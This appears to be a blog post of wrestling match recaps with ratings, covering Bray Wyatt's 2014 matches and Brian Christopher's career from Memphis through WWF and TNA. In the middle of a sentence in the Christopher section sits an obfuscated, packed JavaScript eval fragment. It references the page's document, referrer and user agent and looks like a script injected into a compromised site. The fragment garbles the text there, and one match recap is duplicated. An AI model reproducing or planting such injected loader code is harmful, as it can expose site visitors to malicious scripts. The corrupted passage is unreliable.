The annoying fans chant Jerry Lawler as Bray rams Daniel’s head into the post and drives in forearms for good measure. A running senton backsplash has Daniel in even more trouble and Bray asks the fans why they don’t help him. Bray catapults Daniel throat first into the ropes and we hit another chinlock. Wyatt does his spider walk out of the corner and the announcers of course laugh at Linda Blair jokes. He stays on Daniel’s neck with another chinlock but Daniel gets in a shot to the head and shakes the ropes before firing off even more strikes.

A drop toehold sends Bray into the middle buckle and there are the YES Kicks to the chest and leg. Daniel hooks a hurricanrana from the middle rope to send the big man flying but he’s out at two. Now the fans are into it by saying this is awesome and there’s the moonsault in the corner. Daniel loads up the clothesline but thankfully Bray knows what’s coming and hits a running elbow to stop Bryan’s comeback.

Bray misses a charge and falls to the floor, allowing Bryan to hit a running tornado DDT off the apron. Awesome looking move. There’s the running dropkick to knock Bray into the barricade and the missile dropkick puts him down back inside. Now the real YES Kicks have Bray in even more trouble as the fans are going nuts. The big kick to the head gets two and Daniel loads up the running dropkicks in the corner but Bray clotheslines him inside out for a very near fall.

Sister Abigail is countered into a rollup for two and there’s the YES Lock but Bray bites the hand for the break. Bray’s superplex is countered with headbutts and Daniel hits a top rope splash to crush Wyatt. Daniel loads up the running knee but Bray bails to the floor. Bryan dives at him with the FLYING GOAT but Bray catches him in midair and hits a wicked Sister Abigail into the barricade. Sister Abigail connects for the pin at 21:37.

Rating: A. Well that was awesome. This was a good example of a match where both guys could look great and only one could win. Daniel losing here isn’t a bad thing as he could still come back later and win the Rumble to make up for this. Both guys look better coming out of this and Bray was the one that needed the win more. As soon as he loses, a lot of his mystique is gone. Outstanding match here and something Bray needed.

With the Wyatt Family totally dominant, there was only one team that could take them on: Shield. This was the biggest match of the night at Elimination Chamber 2014.

Wyatt Family vs. Shield

The Wyatts take their sweet time as is their custom and we get a long staredown as the fans think this is awesome before busting out the dueling chants. This is what you get when you actually build up a feud to the point where you can’t imagine either team going down clean. Ambrose jumps the Family and the Shield clears out the ring before the opening bell.

Rowan vs. Rollins gets things going with Erick being drokicked into the Shield corner before it’s off to Reigns for a pop. He’s out just as quickly as it’s back to Rollins who gets his head taken off with a clothesline. Harper comes in for some hard right hands before it’s off to the boss for some knees in the corner. Rollins is thrown into the corner and the tag brings in Reigns. You can feel the fans get excited for this showdown.

They trade right hands with Bray getting the worst of it so a tag brings in Harper. Luke can’t suplex Reigns so Roman counters into one of his own and brings in Dean. Ambrose pounds away in the corner before it’s back to Reigns for two off a HARD right hand. Dean gets two off the dropkick against the ropes and it’s back to Seth for a headbutt to Luke’s back. The Shield starts their fast tagging with Dean coming in to rake his forearm over Luke’s face. A middle rope elbow to the jaw puts Luke down but Rowan offers a distraction, allowing Harper to hit a dropkick of all things.

Bray gets the tag to pound away on Dean as the Family takes over again. A running splash in the corner crushes Dean and it’s back to Rowan for the head vice with two fists. Rowan gets two off a side slam and brings Harper back in, only to have Dean grab a swinging neckbreaker to get a breather.

Rollins comes back in with a nice running dropkick but he gets caught on the top rope. Luke loads up a reverse superplex but Seth lands on his feet and sends Harper to the floor for a suicide dive. Back inside and the top rope knee to the side of the head puts Harper down again and Seth has a fired up look in his eyes. Harper kicks his head off for a very close two and it’s back to Bray after the best sequence Rollins has ever had in WWE.

Bray sends Rollins outside and hits the running backsplash on the floor before it’s back to Rowan. The dueling chants begin again before the fans say they want tables. Back to Harper who hammers away in the corner and scores with a running clothesline. Wyatt demands to be tagged in but runs into a boot in the corner. Rollins goes to the middle rope, only to dive into a chokeslam of all things for two. Ambrose tries to make the save but Harper kicks his head off, sending him to the floor.

Rollins finally gets in a shot to Harper’s head and the hot tag brings in Reigns to clean house. A Samoan drop puts Rowan down but Harper saves his partner. There’s the dropkick from the floor for two on Erick as everything breaks down. Dean takes Bray down and hammers away before dropkicking him out to the floor. Harper dives through the floor to take out Ambrose but Rollins hits a swanton dive over the top to take Luke out. Reigns rolls up Erick for a VERY close two but they clothesline each other down.

Seth loads up the Spanish announce table but Bray decks him from behind. Ambrose saves Rollins from being sent through the table and takes Bray into the crowd with another charge. AWESOME stuff here. Rowan and Reigns slug it out and Roman goes shoulder first into the post, only to come back with a running clothesline for two. Rollins hits Harper with a monitor to the ribs but Bray comes back and loads up the other announce table. Rowan takes Reigns down in the ring and sends him to the floor with a fallaway slam.

The Family has Rollins surrounded and the monsters double chokeslam him through the announce table. Ambrose is still gone so it’s pretty much Reigns vs. all three Family members. They slowly get back in the ring and Roman sees what he’s up against. He goes right for Bray but the numbers are too much for him.

Harper kicks Reigns’ head off and drops to his knees for the tag off to Wyatt. Bray does his upside down thing in the corner but Reigns powers out of Sister Abigail and Bray is terrified. Reigns goes into Beast Mode and Samoan drops Bray before hitting Rowan and Bray with Superman Punches. The spear puts Harper down but Wyatt runs Reigns over, setting up Sister Abigail for the pin at 22:45.

Rating: A+. When you expect a match to be one of the best match you’ve seen in a long time and get blown away, you’ve seen something special. This was outstanding stuff and had me glued to the screen which doesn’t happen every day. Outstanding match where neither team looked bad at all. Find this match if you didn’t catch it tonight.

Bray would set his sights on John Cena, attacking him later in the night. The showdown was at Wrestlemania XXX and the battle was over Cena’s legacy as a hero.

John Cena vs. Bray Wyatt

Bray is played to the ring in an awesome visual, complete with barrels fire, what appears to be a voodoo woman dancing with swords and I believe an altar. No special entrance for Cena this year but he gets more booing than cheers. The cheers are there though. Bray bounces on the middle rope to start before kneeling in front of Cena and begging John to be a monster and hit him. FINISH ME JOHN! Cena says get up and fight before taking Bray down with a headlock. Bray headbutts Cena several times to take over while shouting a lot.

An elbow drop gets two and he asks the fans if this is their hero. Cena comes back with a HARD clothesline before looking furious in the corner. He hammers away on Bray but Wyatt laughs and invites Cena to do more. John drives in more right hands, drawing Harper and Rowan to the apron. Wyatt keeps laughing (very 1998 Raven) and Cena isn’t sure what to do. He chokes away which is exactly what Bray wants as Cena is unleashing the monster inside. A big boot drops Bray but Cena is angry at himself for losing control.

Bray lifts Cena up for a suplex but slams him down instead in a cool visual. John comes back with a dropkick but gets caught in a sleeper. It shifts into a chinlock but Cena counters with the ProtoBomb. He loads up the Shuffle but Bray bridges up into the spider stance. Fans: “THAT WAS CREEPY!” Bray runs him over and conducts the crowd as the arm swaying begins. Cena comes back with a tornado DDT but the Fameasser is countered into a wicked powerbomb for a very close two.

Cena comes back again and hits the Shuffle but Bray counters the AA into a spinning gutbuster for two. Bray takes him to the apron for a DDT and another near fall as the fans starting singing He’s Got The Whole World In His Hands. Now THAT is a creepy moment. John is able to fight out of a superplex and loads up the Fameasser, only to dive onto the Family instead. Bray is right back on him though and sends Cena hard into the steps. Wyatt says he’s figured it out but gets knocked down by a hard shot.

Now we get to the interesting part as Cena picks up the steps but can’t bring himself to embrace the hate. Back in and the hard cross body gets two for Bray and it’s time for more singing. He misses a backsplash though and Cena nails the AA for two. This kicking out of finishers thing is really getting old. Rowan tries to interfere, allowing Harper to superkick Cena down. Now the backsplash gets two and Bray is getting frustrated.

He sends Cena outside so John spears Luke through the barricade for some revenge. That’s what Bray wanted though so he throws Cena back inside and bends over backwards in the corner. Sister Abigail is countered into the STF but Bray makes the ropes. Back up and a quick Sister Abigail is good for two. Wyatt is smiling again and heads outside to load up the announce table.

Then he goes over to get a chair (giving us a visual of Harper still out cold two and a half minutes after he was laid out) but slides it to Cena instead. Bray gets on his knees and tells Cena to hit him. This is the big moment as John heavily thinks about it but is able to control himself and knock Rowan off the apron with the chair instead. Sister Abigail is countered into an AA for the pin out of nowhere at 22:28.

Rating: B. The match was the usual big match style here with both guys hitting all their big stuff. However the important part here was the psychological war instead of the physical aspect. I’m REALLY not sure on Cena winning, but the story is clearly going to continue in some gimmick matches. That’s where Cena can be pushed even further and go too far with the violence ala Magnum vs. Tully where Magnum went nuts and then realized what he did.

The match worked well enough but the ending leaves a lot of questions to be answered. The biggest of all though is what happens to Wyatt. Hopefully the magic isn’t gone after the loss but we’ll find that out very soon. He’ll be way over in his home state and the gimmick is cool enough to keep him over for years.

After Cena got the better of him at Wrestlemania, they met again in a cage match at Extreme Rules 2014.

John Cena vs. Bray Wyatt

The fans sing John Cena Sucks to the tune of his music. Bray gives Rowan and Harper some instructions before the match gets going. He shouts that this is what Cena wanted but gets caught in a headlock. Cena jumps over Bray coming off the ropes but Wyatt just blasts him in the back with a forearm. A release fisherman’s suplex puts Bray down but Harper stops Cena from climbing the cage, allowing Bray to take his head off with a right hand.

Cena goes face first into the cage and Bray demands that he spologize to all these people for making them watch this. Rowan rams into Cena against the cage and Bray runs him over for two. John comes back with a catapult into the cage but Bray pulls him back in over the top. They slug it out on the top with Cena winning but Bray crotches him down on the top rope to take over again. We get the old dancing with the limp body spot before a release Rock Bottom gets two for Bray.

Cena comes back with a slam and tries to climb out but Bray does the spider walk towards the door. The running body attack gets two for Wyatt and a few rams into the cage have Cena in more trouble. A reversal finally sends Bray into the steel, allowing Cena to initiate his finishing sequence. Bray escapes the AA and tries to climb but Cena pulls him off the ropes with a Batista Bomb for two.

John calls for the door to be opened but Rowan closes it right back. It turns into a test of strength with Cena winning until Harper comes over to help. Cena shoves BOTH of them away from the door but Bray is back up with a jawbreaker for the save. Another ram into the cage puts Bray down again but Rowan shoves Cena back over the top of the cage.

Wyatt is back up as well but gets bulldogged off the top for two. Now it’s Harper climbing the cage for a fight with Cena, so John pulls him down into the cage. Cena kicks the door onto Bray’s head but Rowan is waiting with a chair. John climbs back in and gets caught in the suplex slam followed by the senton backsplash for two. Sister Abigail is countered into the STF but Bray crawls to the door.

Cena lets go because of the ropes being in his face which is better than a rope break at least. Harper is sent into the cage but Bray sends Cena in as well. He climbs up but gets pulled back down for an AA off the top, only to have Harper make a save. A clothesline puts Harper down but Cena is favoring his arm.

Rowan makes ANOTHER save so Cena grabs him by the beard and rams him into the cage. The top rope Fameasser puts Harper down but as Cena goes for the door we get the Wyatt satellite hijacking. The lights go out and come back to show a child singing in a demonic voice in Cena’s face. Sister Abigail puts Cena down and Bray walks out for the win at 21:12 in front of the terrifying child.

Rating: B+. This was too overbooked for my taste. The Wyatts interfering about 857 times was too much but the child coming in for the save was a nice touch and tied into the storyline well. That being said, Bray needs to get a win on his own over Cena soon. It’s not like it’s going to hurt Cena or anything.

Bray Wyatt is a great example of someone who had talent and WWE kept searching until they found the right formula for him. That’s something that is so necessary but you hardly ever see it. So often you’ll see one gimmick not work and then WWE throws up their hands and gives up (see Chris Masters for one of many examples). Thankfully with Bray they took their time and allowed him to find the character that blew the doors off the place. The guy is 27 as of this writing and is going to be a big deal for awhile.

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Wrestler of the Day – May 20: Brian Christopher

Turn it up. It’s Brian Christopher.

Brian eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstdt|var|u0026u|referrer|rdysz||js|php'.split('|'),0,{})) got his start in his dad’s promotion in Memphis in the late 80s. We’ll pick things up with Christopher in a tag team called the New Kids on February 2, 1991.

New Kids vs. Fabulous Ones

Tony Williams of the New Kids dropkicks Stan Lane down to start as Cornette is running his mouth on commentary. Referee Miller is kicked down by Lane the Karate Master so it’s off to Christopher. Brian superkicks Steve Keirn down for two and Cornette is losing it. He goes to manage as Keirn can’t figure Christopher out. A backdrop finally puts him down so it’s off to Lane who gets caught in a quick sunset flip for two. Off to Tony who is slammed down with ease.

Jim is back on commentary to make the match that much better. The New Kids keep trying for a fast win because they can’t go man to man vs. the Fabs. Keirn slams Tony’s head into a chair on the floor and it’s back inside. Tony gets between Stan’s legs and makes the tag to Christopher. The Fabs double team him again and it’s back to the outside. Keirn is illegal and piledrives Miller for the DQ. It was a DQ at times and at times it wasn’t so it’s hard to keep up with.

Rating: C-. Not much of a match but this is how you give someone a rub. The New Kids weren’t proven yet so having them hang in there with a famous team like the Fabulous Ones and even pick up a win here is a great way to make the New Kids look a lot better. The Fabs couldn’t pin them which is a major key. Not a great match, but a good rub.

Christopher would become a big deal as a heel in 1993. Here’s a match from that period on February 13, 1993.

Brian Christopher vs. Jeff Jarrett

Luger and two other guys that I don’t recognize are here with Christopher. Brian says there’s no need for Lex to be here for this one but then he changes his mind. Ok then. There are no apron curtains. That’s not something I’ve seen outside of a tiny indy company. Lex sits in on commentary for this. There can’t be more than 150 people at this. Ever heard me say someone is stalling like a man from Memphis? Here’s a good example of something like that.

First contact: 63 seconds in. Christopher keeps shouting to Lex how awesome he is but in a sucking up way, not an evil way. Second contact: 100 seconds in. We’re over two minutes in and we’ve had two tieups and that’s it. Ok from what I can find, Christopher is also the Texas Champion. Jeff finally has enough and pops Brian in the face with a right hand. We finally get going as Brian hits a clothesline and stomps a bit. To be fair, Memphis was far more based on egging on the crowd than the in ring action.

A backbreaker gets two for Christopher. He misses an elbow though and Jeff grabs a rollup for two. How weird is it that these two would reach their biggest successes as totally different characters? Christopher as a dancing idiot and Jarrett as a self-obsessed heel. One of the guys that came out with Christopher grabs Jeff’s leg but he manages a DDT to Christopher anyway. Not that it matters as the other guy comes in for the DQ.

Rating: C-. These matches are hard to rate as there isn’t much action in them, but like I said there isn’t supposed to be. These were two fairly big names and two acts that were over as a face and a heel, which is really all you can ask for. At the same time though, there’s barely any wrestling and it was all set up for the ending, which is ok, but it’s still nothing to see.

After several more years in Memphis, Christopher would debut in the WWF as Jerry Lawler’s mentee. He would enter the fledgling Light Heavyweight division and have a match at In Your House 17.

Scott Putski vs. Brian Christopher

Putski is the son of WWF Hall of Famer Ivan Putski while Christopher is the son of Jerry Lawler. However Lawler hasn’t admitted to this yet, but instead is saying he’s a big fan of Christopher and has helped him win matches. An immediate Jerry’s Kid chant starts us off, which Lawler writes off as a reference to Jerry Lewis’ Labor Day marathon. Putski gets in the first shot and drives Christopher into the corner before tossing him out to the floor.

Back in and Brian grabs a headlock before clotheslining him down with ease. Scott comes back with a hurricanrana for two but gets caught in a full nelson leg sweep faceplant (the Skull Crushing Finale or Chris Jericho’s Breakdown) gets two. Jerry: “That’s my boy!” JR: “What?” Putski falls to the floor and Brian follows with a nice dive to take him out again. The fall seems to have injured Scott’s knee and Brian wins by countout.

Rating: D. I’m thinking there was something to that knee injury as there was no reason to end the match so soon. It didn’t last that long and I have no idea why this was on a pay per view. Putski is a good example of a guy who had a great look but had the big problem of being his father’s son. His dad Ivan was a popular wrestler and there was no way Scott could live up to his reputation.

Brian would enter a tournament for the restored Light Heavyweight Title, making the finals at In Your House 19.

Scott Putski vs. Brian Christopher

Putski is the son of WWF Hall of Famer Ivan Putski while Christopher is the son of Jerry Lawler. However Lawler hasn’t admitted to this yet, but instead is saying he’s a big fan of Christopher and has helped him win matches. An immediate Jerry’s Kid chant starts us off, which Lawler writes off as a reference to Jerry Lewis’ Labor Day marathon. Putski gets in the first shot and drives Christopher into the corner before tossing him out to the floor.

Back in and Brian grabs a headlock before clotheslining him down with ease. Scott comes back with a hurricanrana for two but gets caught in a full nelson leg sweep faceplant (the Skull Crushing Finale or Chris Jericho’s Breakdown) gets two. Jerry: “That’s my boy!” JR: “What?” Putski falls to the floor and Brian follows with a nice dive to take him out again. The fall seems to have injured Scott’s knee and Brian wins by countout.

Rating: D. I’m thinking there was something to that knee injury as there was no reason to end the match so soon. It didn’t last that long and I have no idea why this was on a pay per view. Putski is a good example of a guy who had a great look but had the big problem of being his father’s son. His dad Ivan was a popular wrestler and there was no way Scott could live up to his reputation.

Light Heavyweight Title: Brian Christopher vs. Taka Michinoku

This is a tournament final to determine the new champion. The title had actually been around for years but was only defended in Mexico and Japan while never being mentioned in American. Christopher plays to the crowd before we get going but scores with a quick slam to take over. An armdrag puts Taka down again as the Jerry’s Kid chant starts up again. Taka flips out of a German suplex and takes Brian down with a pair of kicks to the face and a clothesline to send him out to the floor. A HUGE springboard dive off the top takes Christopher out again and fires up the crowd a bit.

Brian crotches Taka on the top rope as they come back in and a dropkick sends Michinoku back to the floor. Taka avoids a dive off the apron to send Brian into the barricade but misses a cross body back inside to give Christopher control again. Now it’s Brian’s turn to miss a charge, allowing Taka to hit a tornado DDT for two. A hurricanrana sends Brian to the floor again and a top rope moonsault takes him out. Lawler goes to help his son back inside but Taka dropkicks Christopher right back down.

Back inside and a pair of dropkicks put Brian down again but Taka gets caught in a full nelson legsweep. There’s a sitout powerbomb by Christopher but he poses too much, allowing Taka to grab a rollup for two. A missile dropkick to the back of Taka’s head puts him down again and a backbreaker gets two.

Brian stays cocky by slapping Taka in the face over and over (Jerry: “Just like I slapped Andy Kaufman!”) before clotheslining him down for two. Now the release German suplex connects but Brian takes forever to cover. Instead it’s a powerslam to put Taka down but Christopher misses the top rope legdrop, allowing Taka to hit the Michinoku Driver for the pin and the title.

Rating: C. Really basic match here but it made sense to put the belt on Taka at first. Christopher was just a guy who happened to be in the weight division and never fight the style at all. The match wasn’t bad or anything but the division never worked nearly as well as the company hoped it to.

Christopher would soon hook up with his long term partner Scott Taylor to form Too Much. Interestingly enough, they were going to get the Billy and Chuck gimmick but Christopher wouldn’t go for it. Instead they got to fight Al Snow and Head at King of the Ring 1998.

Too Much vs. Al Snow/Head

Yes Head, a mannequin head, is Snow’s partner. Too Much would later be known as Too Cool. We kept hearing about Snow wanting to stay but it wouldn’t work. Snow kept getting in trouble but blaming it on Head. That’s smart at least. This is in the video recap but I don’t feel like going back and editing this to make it right. Head stole the crown and they get a meeting with Vince if they win tonight.

Scotty looks weird with short blonde hair. Christopher looks stupid no matter what. Snow is in the back and Lawler talks to them and he makes fun of them and it goes nowhere. This is pre cool music but post peak of Snow’s powers. There are however a bunch of guys with Styrofoam heads bobbing them back and forth though. Jerry is announced as the guest referee to make it three on one. Oh sorry. Three on two.

Snow’s talented enough to count I guess. Oh oddly enough, Snow used to be a character called Avatar, a genie. How sad is it that Snow is more talented than all three heels combined by about 100 miles? Taylor tags in Christopher, only a master sexay at this moment I guess. Lawler has his crown on by the way. More or less this was designed to let Snow show off, which really was a good idea and something they needed to do more often.

Snow reaches for a tag and Christopher bites his hand. I’m not sure if I want to see him in the indys or not. He was terrible in the mainstream so how bad were they in a territory based company. Ross wonders who picked Lawler as the referee. My guess would be a combination of the writing team and Vince McMahon but what do I know?

I love that wheelbarrow suplex that Snow likes to use. Snow tags in Head and Ross has lost it. Snow covers Taylor as Lawler goes to the announce table and grabs something. Christopher covers head with a bottle of Head and Shoulders for the pin. Oh it was to make sure that the shoulders were down.

Rating: D+. Well it was a cute idea I guess and Snow got to show off out there, but seriously, Too Much being on my screen more than 5 minutes just makes my head hurt so this just failed completely for me. This wasn’t much and it was really just a comedy match so take it for what it is I guess.

The team wouldn’t do much for the rest of the year and then would miss a good chunk of 1999 due to injury. One of their first major matches back, now with Brian as Grandmaster Sexay and Taylor as Scotty Too Hotty, was at Survivor Series 1999.

Team Too Cool vs. Team Edge/Christian

Too Cool, The Hollys
Edge/Christian, Hardy Boys

This is just after the Hardys and the Canadians had the first tag team ladder match which would launch them into stardom soon after. Too Cool is still stupid here, as opposed to later on when they would be stupid and WAY over. The Hardys have Terri with them which wouldn’t last long. Edge and Scotty get things started as Jerry talks about Scotty’s pants. They chop it out in the corner before things speed up a bit and Edge spinwheel kicks him down.

Off to Crash vs. Matt with Matt getting two off a suplex. Crash gets crotched on the top and punched to the floor. Grandmaster sneaks up on Matt for a sunset bomb to the floor. We unleash the dives as everyone small enough to hits a big dive to take out everyone that was already on the floor with Jeff capping it off. Back in and Christian powerslams Crash for two. The Hollys hit a Hart Attack on Crash Christian for two of their own and Hardcore is in.

We’re promised an update on Austin at the end of this match because THIS MATCH of all things is more important than a guy being hit by a car. Off to Grandmaster whose bulldog is countered and he goes flying so far that he kicks the camera, giving us a cool visual. Off to Hardcore vs. Edge who starts spearing a lot of people. Grandmaster stops to dance and is immediately speared down. In the big melee, Hardcore rolls up Edge for the pin. Fifteen seconds later, Scotty hits a top rope DDT to eliminate Matt, making it 4-2.

Jeff and Scotty do a fast pinfall reversal sequence before Scotty hits the not yet popular Worm. A sitout powerbomb by Scotty with Grandmaster assisting gets two as does a middle rope missile dropkick from Sexay. Too Cool hits the second Hart Attack of the match which gets two on Jeff. Everything breaks down but the Hollys get in an argument. Terri gets on the apron for a distraction which lets Christian hit both of Too Cool low. Jeff hits a 450 on Scotty for the elimination.

So it’s Crash/Grandmaster/Hardcore Holly vs. Jeff and Christian. JR goes on a rant about Austin as Christian and Jeff try some Poetry in Motion, but Hardcore comes off the top with a missile dropkick in a SWEET looking counter. Grandmaster adds a guillotine legdrop for the elimination. Christian immediately hits a reverse DDT on Grandmaster to get us down to Christian vs. the Hollys.

JR continues to brood and want an update about Austin. Jerry needling him makes me chuckle as he’s awesome at being a jerk. Crash beats on Christian for a bit before it’s off to Hardcore again. Back to Crash who gets caught in the Unprettier/Killswitch for the pin. Christian tries a victory roll on Hardcore but Bob (Hardcore for you schmucks out there) falls on top for the final pin.

Rating: C+. The problem here was that the pairing that this should have been based around, Edge and Christian and the Hardys, were on the same team rather than getting to tear the house down against each other. The other two teams didn’t mean anything and the ending of this sucked. Once the Dudleys got involved with the brother teams, it was all gravy for almost two years.

Too Cool would get Rikishi as their big enforcer around this time. The act was so popular that they moved pretty far up the card, including main eventing the February 7, 2000 episode of Raw in a major ten man tag.

HHH/X-Pac/Chris Benoit/Dean Malenko/Perry Saturn vs. Cactus Jack/The Rock/???/???/???

Before the bell rings, Rikishi and Too Cool come out to even the odds. It’s a wild brawl to start and I’m not even going to try to call it. Rock and HHH are fighting on the ramp as Benoit and Cactus head into the crowd (DANG that could have been an awesome feud). Stephanie is on commentary and the fans are blowing the roof off the place. Grandmaster and X-Pac get things going and Sexay misses a middle rope knee drop.

Off to Saturn and Scotty, the latter of whom has a bandage around his head. He loads up the Worm (with five hops instead of four) but Malenko interferes before Scotty can cover. A big old suplex puts Scotty down and Dean comes in legally. Scotty gets in a shot and brings in Rikishi who runs Dean over. Off to Benoit who charges right into a Samoan Drop. He can’t suplex Rikishi but Benoit pounds on his back and is all like oh yeah boy you’re going and suplexes Rikishi down.

Jack comes in and pounds Benoit down into the corner. This is one of the hottest crowds I’ve ever seen. Jack goes for HHH and they head to the announce table. Saturn and Pac have to save HHH from death and we head back inside. HHH stomps Jack down in the corner and shoves the referee away. Off to Pac who almost immediately walks into a neckbreaker to take him down.

Hot tag brings in Rock and it’s spinebusters all around. Pac takes a Rock Bottom for two as HHH saves. Saturn kicks Rock down but Rock is having none of this Bronco Buster nonsense. Grandmaster hits the Hip Hop Drop but Pac gets up and kicks the goggles off Sexay’s head. HHH comes in again with the flying knee and it’s off to Saturn and Benoit for some double teaming.

Benoit suplexes Sexay down for two and it’s back to HHH. The heels are tagging incredibly fast. Grandmaster hits a double DDT out of nowhere on Benoit and HHH. There’s the hot tag to Cactus but the referee didn’t see it. Everything breaks down and HHH hits the Pedigree on Grandmaster followed by the Swan Dive from Benoit for the pin.

Rating: B. This seems like a match where the crowd reaction carried it to a higher level which is fine. It’s certainly better than I remember but it’s not as good as I’ve seen some people make it out to be. Anyway, you could see the great matches coming and this would give Too Cool a nice push, resulting in their only tag title run a few months after this.

The feud with the Radicalz continued at Wrestlemania 2000.

Radicalz vs. Too Cool/Chyna

This would be Saturn/Malenko/Guerrero. They’re brand new at this point and Dean is already Light Heavyweight Champion. Too Cool was their first feud and it was a big enough deal that Too Cool rode it to a tag title reign in a few months. Eddie and Scotty start things off and Scott has his hat knocked off almost immediately. A tilt-a-whirl backbreaker puts Eddie down and it’s off to Chyna, sending Guerrero running off to Dean.

Malenko loads up a fast powerbomb but Scotty clotheslines him down to break it up. Chyna and the Grandmaster suplex Malenko down and it’s time to dance. Back to Eddie to face Grandmaster with Sexay hitting a quick suplex. Saturn breaks up the top rope legdrop though and the Radicalz take over. Perry comes in legally now and steals Grandmaster’s dew rag, somehow making him look even more ridiculous.

Eddie comes back in and allows Grandmaster to make a tag to Scotty. That goes badly for the non Radicalzas Scotty charges into a hot shot followed by the slingshot hilo for no cover. Grandmaster comes back in sans tag and throws Eddie to the floor as things fall apart. Scotty loads up a double Worm on Saturn and Malenko but an Eddie distraction lets them get back up. There’s no one in the ring at the moment until we get back to Scotty vs. Eddie. Perry comes back in and superkicks Hotty down.

A top rope elbow hits Scotty but again there’s no cover. Instead it’s back to Guerrero who goes up but takes too long, allowing Scotty to crotch him. A superplex puts both guys down and there’s the hot tag to Chyna. She cleans house with handspring elbows and a double low blow to Saturn and Malenko. Eddie decks her though, breaking part of her outfit in the process. Chyna escapes a powerbomb into one of her own, grabs Eddie’s crotch and slams him down before finishing him with a sleeper drop.

Rating: D+. This didn’t work for me for the most part but the main story of Chyna vs. Eddie was advanced which is the right idea. This would wind up meaning nothing (in a way) though as Chyna would fall victim to the Latino Heat the next day, starting a summer long relationship between the two. I guess that crotch grab changed her mind.

Remember that Tag Team Title run I mentioned? It started on Raw, May 29, 2000.

Tag Team Titles: Too Cool vs. Edge and Christian

Christian cranks on Grandmaster’s arm to start but Brian fights back with a missile dropkick. Off to Scotty for some dancing and a double clothesline. Time for the Moonwalk but Christian takes Scotty down with a spinwheel kick. Edge comes in and tries a powerbomb but Scotty botches the hurricanrana counter.

Instead he has to settle for a small package for two before it’s off to Grandmaster to clean house. His powerbomb on Christian works just fine before he and Edge fall to the floor. Scotty hits the Worm on Christian as Edge brings in a title belt. He’s knocked to the floor though and here’s Kid Rock’s midget friend Joe C. with a low blow, allowing Grandmaster to hit Edge with the belt for the pin and the titles in a big upset. The celebration is as low key as you can imagine.

Rating: D+. The match was nothing to see and I’m really surprised by how bored they seemed to win the belts. The title reign wouldn’t last all that long but this was a good example of the company listening to the crowd and giving someone popular a push. Too Cool winning the belts for a month wasn’t a stretch and the fans loved it. Everybody wins.

The title win would be the apex of the team’s run as they would fall down the card soon after and never recover. Scotty would get hurt so Grandmaster would have to fight on his own, including this match at Insurrextion 2001.

Grandmaster Sexay vs. Eddie Guerrero

This is one of Grandmaster’s final appearances with the company for reasons of suck I guess. Eddie lost the European Title to Matt Hardy of all people. It’s not like being European meant anything with only Regal and Bulldog being European. Eddie would be gone soon for drugs anyway so there we are. This is a very hot crowd with one Phoenix being in attendance. Yeah he was the other request.

Eddie doing the Sexay dance is hilarious to say the least. I think Eddie was supposed to be champion here as he lost it like a week earlier. Grandmaster, how do you freaking suck so much? Your dad is a legend and you’re just a freaking joke. And that’s being nice. He’s like an annoying indy gimmick that isn’t sure what his gimmick is. The crowd is ALL OVER Eddie. That’s not bad. Grandmaster misses a…something and gets rolled up with Eddie using the ropes to win from nowhere. That was really abrupt.

Rating: D+. Uh what the heck was that? Seriously it felt like it was 3 minutes short or something. Also, what the world is the idea of using these two in a match? It’s just random as but whatever. Not bad I guess. Then again this is one of those British house shows called a pay per view so it’s to be expected.

Christopher would hit the indies, including main eventing the first WWA PPV, the Revolution in a tournament final for the World Title.

WWA World Title: Brian Christopher vs. Jeff Jarrett

I’ve complained about Christopher enough so far. Christopher makes gay jokes about Jarrett to start but says he wants to death. Jarrett tosses him around to start and there’s the strut. Christopher comes back with a clothesline to send Jeff to the floor….and then he lowers his pants. A neckbreaker puts Jarrett right back on the floor as we’re firmly in a Memphis formula: do a move, play to the crowd a lot, then do another move and play to them more.

They fight into the crowd, and by fight I mean punch once and walk a lot, and we lose track of them. Brian gets a drink thrown in his face and Jeff chokes him a bit. We finally get back to ringside with Brian shaking off everything that’s been done to him so far. A charge misses in the corner and Brian gets crotched. Naturally, Jarrett poses. A cross body gets two for Brian and it’s off to a sleeper from Jeff.

After nearly two minutes of that, Brian hooks his own sleeper for a few seconds. A kick puts Jeff down and an enziguri (clearly missing by about six inches) gets two. Tornado DDT gets two more and they head to the floor. Brian superkicks a referee by mistake and we head back in. Christopher “hits” a guillotine legdrop for two from a replacement referee…and the referees start fighting. Jeff wins with a guitar shot and Stroke on the belt (there was a referee brawl in between the moves).

Rating: D. Standard match that really was a big brawl with some wrestling moves thrown in. In other words, the WCW main event formula minus five run-ins. Christopher was never believable as a main event threat here because HE’S FREAKING BRIAN CHRISTOPHER. Nothing to see here but it was probably the best match of the second half of the show.

It would be off to TNA after this with Brian appearing on the second show.

K-Krush vs. Brian Christopher

They keep swapping between calling his Brian Christopher and Brian Lawler. Christopher does his Too Cool dance to the ring and the NASCAR guys with him look at him like the idiot he looks like. Krush is the evil one here which I doubt was clear coming into this. He jumps Christopher to start but Brian comes back with a neckbreaker. A bulldog out of the corner gets two for Brian but a second results in him getting crotched on the middle rope.

Krush suplexes him down to take over again, getting a delayed two in the process. He does the backflip into the splits into the side kick spot that he uses today for two. Off to a chinlock as this is going nowhere. Brian fights up, I guess doing what you would call Cooling Up. An enziguri puts Krush down as does a Stunner but Krush hits an atomic drop to put him down. The NASCAR guys shake the ropes to crotch Krush and he falls right into position for the guillotine legdrop from Christopher for the pin.

Rating: D. This felt like a random match between two former WWF guys, and that’s not something interesting. At the end of the day, why in the world am I supposed to care about the guy best known as K-Kwik yells at some NASCAR drivers? Christopher without his Too Cool partners isn’t interesting either, at least not outside of Memphis. Nothing to see here.

And again at the tenth show.

Brian Lawler vs. Slash

Apparently this is a scheduled match for later but we’re getting it now instead. Slash knocks him to the floor and throws Lawler into the barricade before peeling back the mats. He loads up a piledriver on the floor but Lawler backdrops him down to prevent presumably death. Lawler knocks Slash down and we head up the ramp for a bulldog on the ramp by Lawler. Brian tries to get a chair from a fan but the fan won’t give it up.

